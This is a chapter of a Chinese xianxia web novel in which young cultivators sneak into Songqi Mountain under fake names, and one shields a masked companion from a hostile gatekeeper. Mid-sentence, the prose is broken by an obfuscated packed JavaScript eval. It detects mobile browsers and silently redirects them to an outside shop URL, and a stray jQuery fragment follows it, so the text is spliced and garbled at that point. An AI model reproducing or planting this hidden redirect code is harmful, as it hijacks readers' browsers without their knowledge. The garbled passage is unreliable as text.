许慧君一个长辈,还是拗不过一群小辈。他们要进山,她终是没有理由拦着。
她也只能接受一切,随后开始忙忙慌慌准备入山后的东西。
“哎呦,你瞧你这江舅,说着是私藏多年的宝贝,结果就是把刀而已。”
回房后,解思弦任着舅母唠叨,她们许久未见,她还想多听听舅母的声音。
“舅舅收藏自有理由,舅母不如放回去,我手上还是有灵器的。”
许慧君闻言,打量她一眼。
“就两个绑在手腕上的红绸子,遇到危险能防身吗?”许慧君不相信,她还是执意将那把刀塞进解思弦手中。
解思弦摇头拒绝。
“舅母,两根红绸并不脆弱,关键在于如何使用,以柔克刚也是成的。”
她再三推辞,许慧君只能收手,“行行行吧,那把这个给带上。”
舅母从袖袋中掏出一沓沉甸甸的木牌,“这几个也是从你那江舅的小宝库淘来的,瞧这木牌是兮岚木,能保平安,就给你和朋友拿了些。”
解思弦双手接过,她端详此木牌良久,无意识发问:“舅母,这兮岚木做的木牌可有讲究?”
对于她的问题,许慧君一边替她整理行囊,一边解释。
“兮岚木多数长在松栖山脚,传言此木火烧不尽,也寓意着事事能逢凶化吉。”
“火烧不尽之木?”解思弦不可思议。
“是啊,起初我呢也不信,直到我和你江舅去看了这天河酒楼。”
许慧君一下来了兴趣,说了不少:“四年前,这天河酒楼生意兴隆不过几月,就被官府给端了,酒楼老板就是个做江湖生意的大骗子。”
“事后官府想拆了这座酒楼重建,便想着一把火烧了天河酒楼。谁知大火烧了一个时辰,酒楼还是好端端的,这时官府的人才惊觉,建造酒楼所用之木材正是兮岚木。”
“此后,兮岚木在城中就被传开了。到现在那酒楼还完好无损,只不过就空放着,无人敢在那做买卖。”
许慧君把自己所知全盘托出,语毕,行囊被她打上结。
“好了,你进山就带这个行囊。天色不早,你好生歇息着。”她面目慈蔼,说话时语气温柔。
“是,舅母。”
许慧君离开后,青州城的雨淅淅沥沥下了整夜。解思弦坐在榻上,将另外四枚木牌塞进木鸟的肚中。
她木鸟用习惯了,便一并带来青州城。事成之后,解思弦走到窗边,大手一挥将木鸟放飞。
幽寂无边的暗夜,也曾被一只木鸟打破。
接下来几个时辰,刺史府内外细雨纷飞,闷雷不断,扰得人难以安寝。
一夜过后,刚过寅时,五把颜色各异的纸伞就齐聚在刺史府院中。
看样子,大家这是都没睡,这样魏玄就放心了。
“我们这样不告而别,真的可行吗?”幸沧双颤颤问道,她一夜未眠,发鬓好不容易打理好,感觉头要秃了。
“舅母会理解的,事不宜迟,我们出发。”解思弦淡淡开口。
昨夜她没睡,因此恰巧看到舅母所住的南院,灯烛燃了一夜。她想不用说,舅母自会知道他们已经出发了。
解思弦最先走在前头,目视前方,口中仍道:“再不走,山门都闭了。”
剩下四人会意,皆匆匆跟上。
“少宗主,等等我们!”
少年在后追,解思弦自然听到了,但她没有回头,而是放缓脚步。
跨出刺史府大门门槛的那一刻,解思弦顿步在此。
她在等,等青衫与黄衣、狸奴与狐狸。
脚步跨过门槛时,溅起的水花如星点,湿润石地,反反复复。
解思弦想,话本里只有肩并肩,才能算得上荡气回肠。
而现在亦是如此。
“走啦!去松栖!斩妖除魔!”
幸沧双怕她又走快了,于是她一把拉住解思弦的手腕,先一步穿行云雨之下。
紫衣拉着红衣在前跑,其他三人面面相觑,后又相视而笑。
……
松栖山位于青州城城北郊外,与药王谷就一河之隔。
几人到那时,微弱的阳光才勉强追上他们。
此时此刻,光雨共存,算是奇景。
山外雾雨颇多,解思弦抬头望天,才勉强推断出眼下是寅时三刻。
距离卯时还有一段时间,本以为他们来的够早,谁曾想走进山门入口,人已经排起了长队伍。
松栖山里有名医,有山神,尽管外界传出“山鬼”等流言,而今却依旧有很多人想进山。
他们站在队伍后边,就连魏玄都忍不住踮起脚尖望去。
有人身着荣华,穿金戴银,面目虔诚,想来是为了祭拜山神;有人带纱遮面,紧握银两,偶尔呛咳,看着是为了寻求名医。
山门内雾霭漫漫,一眼望不尽山中事物,就连山外都有着一股奇怪的气味。
令人恍惚的熏香夹杂着雨后闷潮,再精神的人,到了这也开始不由自主地驼背。
魏玄几人站在后头,还以为是自己一夜没睡的缘故。
微雨一下子失了使人清醒的功效,在这山旁变得可有可无。
山门外,身穿玄袍的男子一边询问来者姓名,一边记录在册。
解思弦眼尖,她发现及时,立马警惕起来。
这松栖山不让官府之人入内,而他们是灵妖宗的人,也算半个官府,且解、裴两家曾在上京与江南威名赫赫,她与裴承砚直接报名进入,怕是会藏不住。
打着赤伞的女子往青衫少年身侧一凑。
她轻声言道:“山中人在查入山者的身份。”
裴承砚听言,侧目看去。
玄袍男子那边,正如解思弦所说。
玄袍男子犀利开口:“叫什么?”
衣着简朴的老者口齿不清,缓缓应着:“陈康,耳…东陈。”
玄袍男子知其意,手中提笔记上名后,才示意老者可以入内。
魏玄就站在他俩身后,少宗主对他说了什么,他自然也就听到了。
他插上一句:“报假的名字不就好了,山中人也没那么闲,会一个个核对下去吧?”
他说的在理,直白简洁。
“等下不如就让我先进去,换我先淌水?”魏玄接着提出。
解思弦和裴承砚闻声扭过头来,异口同声:
“好。”
一晃须臾过去,眼见前边的人都入了山,可算是轮到魏玄。
他理了下黄衣上的褶皱,学着上一个进去的富家公子,先若有若无的轻咳两声。
“咳咳……”
这招管用,玄袍男子还没记完上一个人的名字,就抬眼看向他。
对方眼神深邃,面部表情难以捉透。
魏玄要的就是他这种反应!
“在下,姓魏名幺,字点横。你可记我之字,魏点横。”
结果话落后玄袍男子毫无反应,只是默默给魏玄记上。
不应该啊……魏玄心诉。
在魏玄看不见的地方,身后四人的眉头都快拧皱了。
最后,他顺利进山,玄袍男子的目光也就给到红衣少女身上。
解思弦不慌不忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842372|209206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,上前只道两个字:“思羡。”
“哪个思哪个羡?”男子语气严厉。
“思慕之思,羡慕之羡。”她佯装真诚,满脸无辜。
片晌,她也入了松栖山。
轮到裴承砚时,玄袍男子特地左左右右端量他几眼。
“什么名字?”
“陈石见。”
裴承砚学着前两人把名字拆了,换来玄袍男子鄙夷又不解的目光。
“去去去。”男子最终还是赶着他进山,别打扰后面的人记名。
青衣身影消失于山门之外,接上他的女子容貌出挑,发鬓亦很独特,配上紫裙更显灵动。
“大人,我叫苍双幸,苍野的苍。”
等到应千崇上前时,他什么也没说,只是夺过他手中的名册,再拿走笔墨,写下“应千山”三个大字。
玄袍男子还没说上一句话,名册就已经丢了回来了。
“不得戴面具入内!”男子高喊,应千崇脚步一顿。
“把面具摘下来!”
回音荡在山里,传入所有人耳中。
刚准备踏入山门的姑娘回过头看去。
“佩戴面具可是反了山中规矩?”应千崇神情自若,冷静反问。
山中当然没那么多规矩,但他方才在众目睽睽之下夺走名册,让玄袍男子心生不爽。
“你敢质疑山门中人?”玄袍男子讽道,他重重放下纸笔,撸起袖子势要亲自摘下他的面具。
危急关头,应千崇侧身避过,让那人扑了个空。
“哼,你今日若不摘了面具,就别想进山门!”
玄袍男子手中转动灵力,周围的灵草都随之巨晃。原本等在应千崇身后的那些山神信徒见状,眨眼间就吓得四散奔逃。
应千崇余光瞥见这一幕。这些信徒都是手无缚鸡之力的平民百姓,他想,不能动手。
若动手,身份也有可能随之暴露。
山间一阵雾霭飘过,山中人自然听清了外界声音,几人撑着伞,都为他捏一把汗。
应千崇后退了一步,他一手绕到青丝之后,正要解开细绳之际,一道女声穿过连连迷雾,挡在他面前。
“我和他是一起来求名医的!”
那道紫色身影卡在山门前,又几步退了回来。这一瞬,她就像忽然闯入他的世界一般。
一股温热覆上应千崇的手腕,抓住他的,是小妖。
应千崇微怔。
幸沧双一把握住他试图解开面具的手,面对眼前这个无理之人,她胆大道:“他脸上都是红疹子,吓人得很!我们怕入山会脏了山神大人的眼,还请允许他戴面具进入。”
她故意加重“山神”两个字。
既然青州城百姓把这个“山神”看得这么重,玄袍男子作为山门中人,定得敬重山神三分。
玄袍男子心中不服,但他不能对山神不敬,被逼无奈的他只能放下手,硬生生将气咽下去。
“哼,既然如此,就赶紧进去。”他缩在袖中的两手紧握成拳,就连这句话也是咬着牙才说出来的。
这还差不多,幸沧双心中暗自翻了个白眼。
她握紧他的手,行走在大雾之间,领着他跨进山门。
从前,她时常漫不经心地问他,为何要戴着面具,不难受吗?而每次他都避之不答,她也没好再多问。
现今,她要郑重告诉他:
“不想摘,就不摘。”
应千崇心弦微颤,他这一生都在顺从,还是第一次有人同他说一个“不”字。
他一时不知该如何是好,就只能轻声回着:“嗯。”